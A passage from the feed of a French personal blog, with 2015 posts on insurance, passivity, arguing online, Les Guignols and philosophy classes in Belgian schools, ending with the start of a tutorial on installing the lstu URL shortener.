&lt;p&gt;Vu le montant du pot, nous avons décidé de le déposer à la banque. Je me chargerai de la gestion du compte et ferai un compte-rendu auprès des autres. Ça ne devrait pas me prendre trop de temps.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;Le courrier de ce matin me laisse perplexe. La société d&amp;rsquo;assurances — je persiste à dire que ce n&amp;rsquo;était pas une bonne idée de confier la gestion de cet argent commun à une société — m&amp;rsquo;informe qu&amp;rsquo;elle ne peut plus m&amp;rsquo;assurer. La raison qu&amp;rsquo;elle évoque est aussi brève qu&amp;rsquo;incompréhensible.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Au vu de votre dossier, nous vous informons que nous ne pourrons plus vous assurer à l&amp;rsquo;échéance de votre police, soit le 14 août prochain.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne comprends pas. Ma maison n&amp;rsquo;est pas très ancienne. Je n&amp;rsquo;ai pas fait de travaux récemment. J&amp;rsquo;ai toujours payé mes primes en temps et en heure. L&amp;rsquo;assurance est un système solidaire permettant de répartir un risque. La société d&amp;rsquo;assurance — c&amp;rsquo;est sans doute là que je me trompe — n&amp;rsquo;est là que pour gérer notre &lt;em&gt;pot commun&lt;/em&gt;. Pourquoi ne veut-elle plus que j&amp;rsquo;y participe ?&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est peut-être lié à la construction de cette nouvelle scierie près de chez moi ?&lt;/p&gt;
&lt;p&gt;Le fait que les employés de la société d&amp;rsquo;assurance reçoivent un pourcentage du &lt;em&gt;magot&lt;/em&gt; comme paiement les encourage à ce qu&amp;rsquo;il soit le plus conséquent possible. Ils cherchent donc probablement à n&amp;rsquo;assurer que les personnes &lt;em&gt;sans risque&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;Kafkaïen ou simplement absurde ?&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://greggorievich.deviantart.com/art/Old-House-in-the-Sunset-102612248"&gt;greggorievich&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>P.I.P.E.</title><link href="http://blog.namok.be/2015-08-27-pipe.html" rel="alternate"/><published>2015-08-27T00:00:00+02:00</published><updated>2015-08-27T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-08-27:/2015-08-27-pipe.html</id><summary type="html">P.I.P.E.</summary><content type="html">&lt;p&gt;description : Post inutile pour l&amp;rsquo;adage : pas d&amp;rsquo;initiative, pas d&amp;rsquo;emmerde. &lt;/p&gt;
&lt;p&gt;&lt;img alt="Honey" src="/images/honey_by_ideea.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Dans certains endroits que je côtoie, je suis assez proactif tandis que dans d&amp;rsquo;autres, ma devise, c&amp;rsquo;est &lt;strong&gt;P.I.P.E.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pas d&amp;rsquo;Initiative&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Pas d&amp;rsquo;Emmerde&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Être proactif, faire les choses, exprimer ce que l&amp;rsquo;on pense — ici ou ailleurs — c&amp;rsquo;est prendre un risque. C&amp;rsquo;est s&amp;rsquo;exposer aux critiques auxquelles il faudra répondre. C&amp;rsquo;est risquer l&amp;rsquo;erreur qu&amp;rsquo;il faudra réparer. C&amp;rsquo;est se découvrir à l&amp;rsquo;autre et parfois lui donner le bâton pour nous battre. Plein de choses à assumer finalement.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;On tire toudis s&amp;rsquo;ul baudet qui avance.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Mais être proactif, c&amp;rsquo;est aussi ça qui permet d&amp;rsquo;&lt;a href="2012-12-03-do-ocracie.html"&gt;avancer&lt;/a&gt;.&lt;br&gt;
Seulement parfois, on a simplement envie de « P.I.P.E. »  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;S&amp;rsquo;mettre sul flanc et rester, bras ballants, à rieu fé.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://ideea.deviantart.com/art/Honey-85645241"&gt;ideea&lt;/a&gt;. Mmh, goûter le miel&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Arguing on internet</title><link href="http://blog.namok.be/2015-07-28-arguing-on-internet.html" rel="alternate"/><published>2015-07-28T00:00:00+02:00</published><updated>2015-07-28T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-07-28:/2015-07-28-arguing-on-internet.html</id><summary type="html">Arguing on internet</summary><content type="html">&lt;p&gt;&lt;img alt="Arguing" src="/images/you_want_to_argue__by_cricketumpire-d5lkr4r.jpg"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Arguing on internet is like running in the Special Olympics.&lt;br&gt;
Even if you win, you&amp;rsquo;r still retarded.&lt;br&gt;
&lt;em&gt;Anonyme&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Argumenter sur internet c&amp;rsquo;est comme courir pour les jeux olympiques spéciaux.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Même si tu gagnes, tu restes un attardé.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;La citation date du début du siècle (comme c&amp;rsquo;est joliment dit) et est &lt;strong&gt;toute pourrie&lt;/strong&gt;. Par contre, on comprend bien ce que ça veut dire ! Dès lors que l&amp;rsquo;on essaie d&amp;rsquo;argumenter (sur internet et c&amp;rsquo;est à peu près la même chose dans la vie réelle) avec quelqu&amp;rsquo;un qui n&amp;rsquo;est pas du même avis… on est parti pour y consacrer du temps et de l&amp;rsquo;énergie.&lt;/p&gt;
&lt;p&gt;Le premier conseil est de &lt;strong&gt;bien choisir ses combats&lt;/strong&gt; et ne répondre que si c&amp;rsquo;est important pour soi. Personnellement, je laisse très vite tomber.&lt;/p&gt;
&lt;p&gt;La &lt;a href="http://tay.kinja.com/rules-of-engagement-how-to-argue-on-the-internet-1538517381"&gt;première règle&lt;/a&gt; est &lt;strong&gt;NON&lt;/strong&gt;. Ne le fait pas !&lt;/p&gt;
&lt;p&gt;Je persiste.&lt;/p&gt;
&lt;p&gt;Le sujet m&amp;rsquo;intéresse et je décide de m&amp;rsquo;engager sur le chemin glissant en essayant de ne pas me prendre (trop vite) un &lt;a href="https://fr.wikipedia.org/wiki/Loi_de_Godwin"&gt;point Godwin&lt;/a&gt;, j&amp;rsquo;essaie alors de suivre ces quelques règles.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 1&lt;/strong&gt;&lt;br&gt;
Dès que je perçois que l&amp;rsquo;interlocuteur est trop obtus pour moi, je laisse tomber. La discussion ne débouchera sur rien. Je conclus et je passe mon chemin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 2&lt;/strong&gt;&lt;br&gt;
Garder en tête qu&amp;rsquo;il ne s&amp;rsquo;agit pas d&amp;rsquo;un combat que l&amp;rsquo;on doit gagner. Je ne cherche pas à avoir raison. Je cherche à maintenir la discussion.&lt;/p&gt;
&lt;p&gt;Une discussion, lorsqu&amp;rsquo;elle se passe bien, permet aux interlocuteurs de se faire une opinion. Je ne veux pas que l&amp;rsquo;autre change d&amp;rsquo;avis, je veux qu&amp;rsquo;il entende mes arguments comme j&amp;rsquo;entends les siens afin que chacun puisse se (re)faire une opinion.&lt;/p&gt;
&lt;p&gt;&lt;a href="2015-03-23-cessez-etre-gentil-soyez-vrai.html"&gt;Désaccord n&amp;rsquo;est pas désamour&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 3&lt;/strong&gt;&lt;br&gt;
Mettre de côté ses &lt;strong&gt;émotions&lt;/strong&gt; et &lt;strong&gt;se relire&lt;/strong&gt; avant de poster afin de ne pas poster sur le coup de la colère par exemple.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 4&lt;/strong&gt;&lt;br&gt;
Être &lt;strong&gt;concis&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 5&lt;/strong&gt;&lt;br&gt;
Éviter de poster des liens… personnes (ou presque) ne les suivra.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 6&lt;/strong&gt;&lt;br&gt;
Rester &lt;strong&gt;courtois&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Ce qui implique de ne jamais faire d&amp;rsquo;attaque personnelle.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 7&lt;/strong&gt;&lt;br&gt;
Reconnaitre quand on a tort. « C&amp;rsquo;est vrai que… », « Tu as raison lorsque tu dis que… ».&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 8&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Ne pas changer de terrain de jeu&lt;/strong&gt;. Si le sujet est la cuisson de la côte à l&amp;rsquo;os et qu&amp;rsquo;une réponse se focalise sur le fait de manger ou non de la viande, une réponse pourrait être:&lt;/p&gt;
&lt;p&gt;— Bien que le végétarisme semble t&amp;rsquo;intéresser, le sujet est la cuisson de la côte à l&amp;rsquo;os. On peut parler de cela à un autre moment.&lt;/p&gt;
&lt;p&gt;Si le sujet revient trop souvent… l&amp;rsquo;ignorer.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Les règles suivantes (qui ne sont pas des règles, à peine des conseils) sont plus axées sur la forme du message.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 9&lt;/strong&gt;&lt;br&gt;
Éviter d&amp;rsquo;utiliser des &lt;strong&gt;métaphores&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Premièrement, elles risquent d&amp;rsquo;être mal comprises.&lt;br&gt;
Deuxièmement, si les métaphores fonctionnent bien pour expliquer quelque choses à quelqu&amp;rsquo;un, elles déservent lorsque l&amp;rsquo;interlocuteur est en désaccord. L&amp;rsquo;interlocuteur va immédiatement se focaliser sur les différences entre le sujet de départ et l&amp;rsquo;exemple donné. Et c&amp;rsquo;est un deuxième débat qui commence duquel il sera difficile de se dépêtrer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 10&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Citer&lt;/strong&gt; occasionnellement quelqu&amp;rsquo;un d&amp;rsquo;intelligent et non controversé peut servir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Règle 11&lt;/strong&gt;&lt;br&gt;
Éviter de poser des questions. Les remplacer par des affirmations si c&amp;rsquo;est possible.&lt;/p&gt;
&lt;p&gt;— Tu ne penses pas que tu as été de mauvaise foi en affirmant que la pomme est bleue ?&lt;br&gt;
— Dire que cette pomme est bleue, c&amp;rsquo;est de la mauvaise foi.&lt;/p&gt;
&lt;p&gt;Onze règles. Onze conseils si l&amp;rsquo;on décide quand même d&amp;rsquo;argumenter sur internet… et à la fin, de toute façon, je me ferais sans doute insulter !&lt;/p&gt;
&lt;p&gt;— T&amp;rsquo;es qu&amp;rsquo;une grosse pute de toute façon.&lt;/p&gt;
&lt;p&gt;S&amp;rsquo;il m&amp;rsquo;insulte, &lt;strong&gt;c&amp;rsquo;est gagné&lt;/strong&gt; ! L&amp;rsquo;interlocuteur est à court d&amp;rsquo;arguments. Il me reste à conclure par un cinglant: « Je ne suis pas une grosse pute. » et reprendre une activité normale.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://cricketumpire.deviantart.com/art/You-want-to-argue-338571099"&gt;cricketumpire&lt;/a&gt;. L&amp;rsquo;autruche semble assez hermétique à tous mes arguments. Sources et idées (en anglais) chez &lt;a href="http://tay.kinja.com/rules-of-engagement-how-to-argue-on-the-internet-1538517381"&gt;Kinza&lt;/a&gt; et &lt;a href="http://lifehacker.com/5943083/how-to-argue-on-the-internet-without-becoming-a-troll"&gt;Lifehacker&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Touche pas aux guignols</title><link href="http://blog.namok.be/2015-07-02-touche-pas-aux-guignols.html" rel="alternate"/><published>2015-07-02T00:00:00+02:00</published><updated>2015-07-02T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-07-02:/2015-07-02-touche-pas-aux-guignols.html</id><summary type="html">Touche pas aux guignols</summary><content type="html">&lt;p&gt;&lt;img alt="PPDA rangé dans l'armoire" src="/images/guignols-5353403824_40245117e8_o-cut.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Il y a 27 ans, j&amp;rsquo;avais 16 ans et les guignols c&amp;rsquo;était le moment juste avant de prendre la passoire en main pour voir le début du film crypté. Ça ne marche pas le coup de la passoire. &lt;/p&gt;
&lt;p&gt;Plus sérieusement, pour moi, les guignols, c&amp;rsquo;est cette partie « en clair » sur canal.&lt;/p&gt;
&lt;p&gt;Les guignols à 16 ans, c&amp;rsquo;est drôle même si on ne comprend pas tout. En plus, c&amp;rsquo;est la politique française. Cette politique qui est bien loin de mes considérations. Par contre, Monsieur Sylvestre, j&amp;rsquo;aime.&lt;/p&gt;
&lt;p&gt;Les guignols de l&amp;rsquo;info, on aime et on aime pas. On ne peut pas être bons tous les jours. Tout &lt;a href="2015-01-13-Il-l-avait-bien-cherche-Charlie.html"&gt;comme je ne lisais pas Charlie hebdo&lt;/a&gt;, je ne regarde plus Les Guignols. Non pas que je n&amp;rsquo;aime pas… simplement je regarde peu les émissions de télé. J&amp;rsquo;ai peur que &lt;a href="2013-02-03-le-jeu-de-la-mort.html"&gt;ça me rende (encore) plus con&lt;/a&gt;. Je ne prends pas le temps d&amp;rsquo;aller mater les épisodes sur le net ensuite. Et pourtant j&amp;rsquo;aime bien…&lt;/p&gt;
&lt;p&gt;Je regarde les guignols quand ils sont particulièrement savoureux et que l&amp;rsquo;info passe dans mon fil Twitter ou ailleurs. Dans ce cas, je vais voir et je me marre. Je me marre parce que &lt;strong&gt;ça pique&lt;/strong&gt;. Et piquer les politiciens, c&amp;rsquo;est bon, c&amp;rsquo;est important, c&amp;rsquo;est sain.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;information du jour, comme le dit &lt;a href="http://www.madmoizelle.com/touche-pas-aux-guignols-389763"&gt;Clémence Bodoc chez Madmoizelle&lt;/a&gt;, &lt;strong&gt;c&amp;rsquo;est la suppression des Guignols de l&amp;rsquo;Info&lt;/strong&gt;. Comme l&amp;rsquo;explique très bien, Clémence, les raisons ne sont pas satisfaisantes ni acceptables. Ça fait même un peu peur de les comprendre.&lt;/p&gt;
&lt;p&gt;Si toi aussi tu aime les Guignols, tu le &lt;a href="https://twitter.com/hashtag/TouchePasAuxGuignols"&gt;dis sur Twitter #TouchePasAuxGuignols&lt;/a&gt; et tu &lt;a href="https://touchepasauxguignols.wesign.it/fr"&gt;signes la pétition&lt;/a&gt; (à cette heure — 11h36 — le site a un peu de mal).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;La réaction sur Twitter que je préfère:&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;— ils vont faire une loi pour nous surveiller !! &lt;br&gt;
— ta gueule, ils vont supprimer les guignols !! &lt;br&gt;
— OH PUTAIN DEMAIN MANIF A LA BASTILLE A 13H  &lt;/p&gt;
&lt;p&gt;David Chabant (@Ganeshdeux) &lt;a href="https://twitter.com/Ganeshdeux/status/616519935066509312"&gt;July 2, 2015&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale …&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://flickr.com/"&gt;Flickr&lt;/a&gt; par &lt;a href="https://www.flickr.com/photos/judbd/sets/72157626622082662"&gt;Julien Dudebout&lt;/a&gt;. Va-t-on ranger PPDA dans une armoire ?&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Cours de rien ou bien cours de philosophie ?</title><link href="http://blog.namok.be/2015-06-13-cours-de-rien-ou-philosophie.html" rel="alternate"/><published>2015-06-13T00:00:00+02:00</published><updated>2015-06-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-06-13:/2015-06-13-cours-de-rien-ou-philosophie.html</id><summary type="html">Cours de rien ou bien cours de philosophie ?</summary><content type="html">&lt;p&gt;&lt;img alt="pray-5179953173_bfc450e366_o.png" src="/images/pray-5179953173_bfc450e366_o.png" title="pray-5179953173_bfc450e366_o.png, juin 2015"&gt;&lt;/p&gt;
&lt;p&gt;Hier, je clamais bêtement que les cours de religion relevaient de la sphère privée et devaient donc être pris en charge au choix des parents, en dehors de l&amp;rsquo;école. Le cours de religion doit donc être donné à l&amp;rsquo;église, à la mosquée… là où le ministre du culte pourra instruire l&amp;rsquo;élève.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai donc dit que mes enfants, s&amp;rsquo;ils doivent choisir, auront « cours de rien ».&lt;/p&gt;
&lt;p&gt;Puis j&amp;rsquo;observe le « vivre-ensemble ».&lt;br&gt;
Est-ce que ça marche ?&lt;br&gt;
Les gens qui m&amp;rsquo;entourent arrivent-ils à cohabiter ?&lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;oublie un moment Charlie et que je ne regarde pas (trop) dans les écoles, le « vivre-ensemble » fonctionne bien. Ça fonctionne bien parce qu&amp;rsquo;il n&amp;rsquo;y a finalement pas (plus) de dialogue convictionnel &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Si hier les convictions religieuses relevaient du privé, aujourd&amp;rsquo;hui elles me semblent devenues taboues. Je parle (rarement) de mes convictions avec mes (très) proches et (quasi) jamais avec mes collègues ou connaissances.&lt;/p&gt;
&lt;p&gt;Dès lors que l&amp;rsquo;on aborde le sujet, on prend le risque de se heurter à des certitudes. Quelqu&amp;rsquo;un « sûr de lui » restera campé sur ses positions. J&amp;rsquo;ai peur de celui qui assène des certitudes. Où est le dialogue ? Pourtant, toutes les religions reposent sur la bienveillance. &lt;a href="2014-01-08-bienveillance.html"&gt;Toujours elle&lt;/a&gt;. Alors, cette bienveillance qui conseille d&amp;rsquo;être à l&amp;rsquo;écoute de l&amp;rsquo;autre et de ses convictions devrait être au centre de la discussion convictionnelle. Cette écoute bienveillante ouvre au dialogue et permet d&amp;rsquo;enrichir ses convictions de celles de l&amp;rsquo;autre et d&amp;rsquo;affiner ses croyances. Et pourtant, il y a eu &lt;em&gt;Charlie&lt;/em&gt;. C&amp;rsquo;est un fait. Si les réactions publiques ont été unanimes, dans les couloirs on constate une &lt;a href="2015-01-13-Il-l-avait-bien-cherche-Charlie.html"&gt;zone un peu grise quand même&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Finalement ce « cours de rien », ce cours de religion et ce cours de morale m&amp;rsquo;intéressent.&lt;/p&gt;
&lt;p&gt;Si les convictions relèvent de la sphère privée, la découverte et l&amp;rsquo;apprentissage des religions doit se faire au sein de l&amp;rsquo;école. Condorcet dit que c&amp;rsquo;est le rôle de l&amp;rsquo;école de transmettre des savoirs. L&amp;rsquo;école me donne accès à l&amp;rsquo;instruction. Cette instruction me permettra de me construire et de penser par moi-même. L&amp;rsquo;école n&amp;rsquo;a pas pour rôle de m&amp;rsquo;inculquer des valeurs. Elle n&amp;rsquo;a pas pour rôle de définir mon identité politique ou idéologique. Elle doit simplement m&amp;rsquo;aider à devenir un citoyen.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;école transmet des savoirs, pas des valeurs. Les valeurs — vaste sujet — sont développées par ma libre pensée &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; sur &lt;a href="2014-11-12-pourquoi-retenir.html"&gt;base de mes connaissances&lt;/a&gt;. Au niveau convictionnel, c&amp;rsquo;est moi qui me forge mes convictions. Elles ne doivent pas m&amp;rsquo;être inculquées. Je me construis avec ce que j&amp;rsquo;apprends et ce que je connais. Toutes ces connaissances, je les acquiers au fil des rencontres et des dialogues avec mes parents, mes enseignants et mes amis. Les gens que je côtoie.&lt;/p&gt;
&lt;p&gt;Parmi eux, les enseignants sont ceux qui vont me donner accès au savoir brut. Neutre.&lt;/p&gt;
&lt;p&gt;— 2 + 2 = 4&lt;br&gt;
— L&amp;rsquo;accent circonflexe disparait sur les lettres « i » et « u »&lt;br&gt;
— « En biologie, l’évolution est la transformation des espèces vivantes qui se manifeste par des changements de leurs caractères génétiques et morphologiques au cours des générations. (…) » Extrait de la &lt;a href="http://fr.wikipedia.org/wiki/%C3%89volution_%28biologie%29"&gt;Théorie de l&amp;rsquo;évolution&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tout en restant neutre, sans faire de prosélytisme, l&amp;rsquo;enseignant a le droit de montrer une certaine identité. Je suis noir [3]. Je suis un &lt;a href="2013-03-26-je-suis-un-hommo-blanc-hetero.html"&gt;homme blanc et hétéro&lt;/a&gt;. Je suis féministe. Je préfère Linux à Windows. Je suis Charlie. J&amp;rsquo;ai peur des chiens…&lt;br&gt;
L&amp;rsquo;enseignant peut montrer qu&amp;rsquo;il est un citoyen avec ses peurs, ses croyances, ses convictions, ses valeurs morales, ses qualités et ses défauts.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est cette différence, cette humanité — l&amp;rsquo;enseignant est un humain comme les autres — qui peut engendrer le dialogue raisonné avec l&amp;rsquo;autre. Je pense par moi-même et mon contact avec les autres m&amp;rsquo;apprend à penser autrement.&lt;/p&gt;
&lt;p&gt;Inutile donc d&amp;rsquo;introduire un cours de citoyenneté qui sera forcément fourre-tout. Il suffit de remplacer les cours de religion et de morale par un cours commun de &lt;strong&gt;philosophie&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://edouard-delruelle.be/"&gt;Édouard Delruelle&lt;/a&gt; prétend que le cours de philosophie permet (je cite):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la connaissance des normes (et non des valeurs) fondamentales de notre société (notamment cette norme fondamentale selon laquelle la loi de l&amp;rsquo;État est supérieure à quelque loi religieuse);&lt;/li&gt;
&lt;li&gt;la culture de l&amp;rsquo;esprit critique;&lt;/li&gt;
&lt;li&gt;le dialogue interconvictionnel.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Moi, je suis partant pour un cours de philosophie…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ce billet est une réflexion suite à la décision de la Cour Constitutionnelle belge du 12 mars 2015 de permettre aux parents de demander une dispense du cours de religion ou de morale et à l&amp;rsquo;annonce de l&amp;rsquo;instauration d&amp;rsquo;un cours de citoyenneté. Il suit également deux articles de la revue &lt;a href="http://www.enseignement.be/index.php?page=25869"&gt;PROF 26&lt;/a&gt;; « Neutralité ou Bienveillance » de &lt;a href="https://www.linkedin.com/pub/laurent-de-briey/18/886/591"&gt;Laurent De Briey&lt;/a&gt; et « Cours philosophiques: qui a peur … de la philosophie ? » de &lt;a href="http://edouard-delruelle.be/"&gt;Édouard Delruelle&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://flickr.com/"&gt;Flickr&lt;/a&gt; par &lt;a href="https://www.flickr.com/photos/edsonhong1/5179953173/in/photolist-8TJBBt-4z5xYa-6fNCyF-4z9NVY-4z5AY2-4z5zKV-4rU3vE-6fSXcE-81JCL1-81FtLe-81FrFK-4z9Q9d-4z9NjU-4z9Qsd-4z9QQG-4z5xaM-6fNCrV-5kS1L8-4z9SCb-4z9LEf-4z5ymX-8kqWBn-6fSSyE-6fNDGX-6fSNBA-4z5BRP-4z5uFp-4z5Bhr-4vLQLM-x8ZN-4vLMrx-4z5wrn-4z9LTQ-4z5wF8-8kqUgt-4z5Btv-4z9Kw7-fXeDw-ai3JXZ-4z5yTe-8ku5Rw-8kqT5X-8kqUMp-6fSWMq-6fNEPP-6fNEpF-6fNFPt-6fSNzy-j15DC-9cQERA"&gt;Edson Hong&lt;/a&gt;. Jordan, une petite fille qui prie.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je viens d&amp;rsquo;apprendre le mot à la lecture des deux articles de références. Mon correcteur ne le connait pas par contre.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;C&amp;rsquo;est très « centre laïque » cette expression. J&amp;rsquo;ai toujours peur qu&amp;rsquo;elle soit mal comprise. Pour moi, la libre pensée, est l&amp;rsquo;action de penser librement. Point. Ce n&amp;rsquo;est pas un dogme ni une &lt;strong&gt;obligation&lt;/strong&gt; a penser librement … c&amp;rsquo;est-à-dire sans l&amp;rsquo;aide d&amp;rsquo;une religion. Ma liberté de penser doit être totale. C&amp;rsquo;est là où personne ne vient, là où il n&amp;rsquo;y a aucune barrière.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Oui bon, d&amp;rsquo;accord, mauvais exemple.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Installation de lstu qui sera esi.link</title><link href="http://blog.namok.be/2015-06-05-lstu-esi.link.html" rel="alternate"/><published>2015-06-05T00:00:00+02:00</published><updated>2015-06-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-06-05:/2015-06-05-lstu-esi.link.html</id><summary type="html">Installation de lstu qui sera esi.link</summary><content type="html">&lt;p&gt;&lt;img alt="pig_by_eastmonkey-d2zb6le.jpg" src="/images/pig_by_eastmonkey-d2zb6le.jpg" title="pig_by_eastmonkey-d2zb6le.jpg, juin 2015"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;lstu&lt;/em&gt; signifie « Let&amp;rsquo;s Shorten That Url ». C&amp;rsquo;est un raccourcisseur d&amp;rsquo;url. Le plus connu étant &lt;a href="http://tinyurl.com/"&gt;TinyUrl&lt;/a&gt;. Il y a ensuite eu &lt;a href="http://goo.gl/"&gt;goo.gl&lt;/a&gt; par exemple qui mémorise bien gentiment les urls raccourcies. Chaque réseau social a également ce type de service. Dès lors qu&amp;rsquo;un service raccourci une url, il la connait, c&amp;rsquo;est sans doute une bonne idée de prendre un peu d&amp;rsquo;indépendance.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Prendre son indépendance.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est ce que propose &lt;a href="http://framasoft.org/"&gt;Framasoft&lt;/a&gt; avec son service &lt;a href="http://huit.re/"&gt;huit.re « La perle des raccourcisseurs d&amp;rsquo;url »&lt;/a&gt; (ça ne s&amp;rsquo;invente pas) basé sur &lt;a href="https://github.com/ldidry/lstu"&gt;lstu&lt;/a&gt; justement.&lt;/p&gt;
&lt;p&gt;Voyons voir un peu plus en détails comment l&amp;rsquo;installer. La procédure d&amp;rsquo;installation de lstu est assez sommaire, elle mérite un complément d&amp;rsquo;infos.&lt;/p&gt;
&lt;p&gt;Je commence par créer un utilisateur &lt;code&gt;lstu&lt;/code&gt; histoire que ce ne soit pas &lt;em&gt;root&lt;/em&gt; qui fasse tourner le script. C&amp;rsquo;est aussi mieux de &lt;em&gt;séparer les pouvoirs&lt;/em&gt;. Je retirerai son shell à &lt;em&gt;lstu&lt;/em&gt; un peu plus tard.&lt;/p&gt;
&lt;p&gt;Je suis ensuite la procédure proposée par &lt;a href="https://fiat-tux.fr/"&gt;Luc Didry&lt;/a&gt; le développeur de &lt;em&gt;lstu&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Installation de Carton (une sorte de gestionnaire de « paquets » pour &lt;em&gt;perl&lt;/em&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cpan&lt;span class="w"&gt; &lt;/span&gt;Carton
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Comme ce sera une sorte de service web, je décide d&amp;rsquo;installer la chose dans &lt;code&gt;/var/www&lt;/code&gt;. Je crée un répertoire pour l&amp;rsquo;occasion et je l&amp;rsquo;attribue à &lt;em&gt;lstu&lt;/em&gt;. Je peux ensuite y &lt;em&gt;cloner&lt;/em&gt; le &lt;em&gt;repository git&lt;/em&gt; et installer &lt;em&gt;lstu&lt;/em&gt; comme indiqué ci-dessous.&lt;/p&gt;
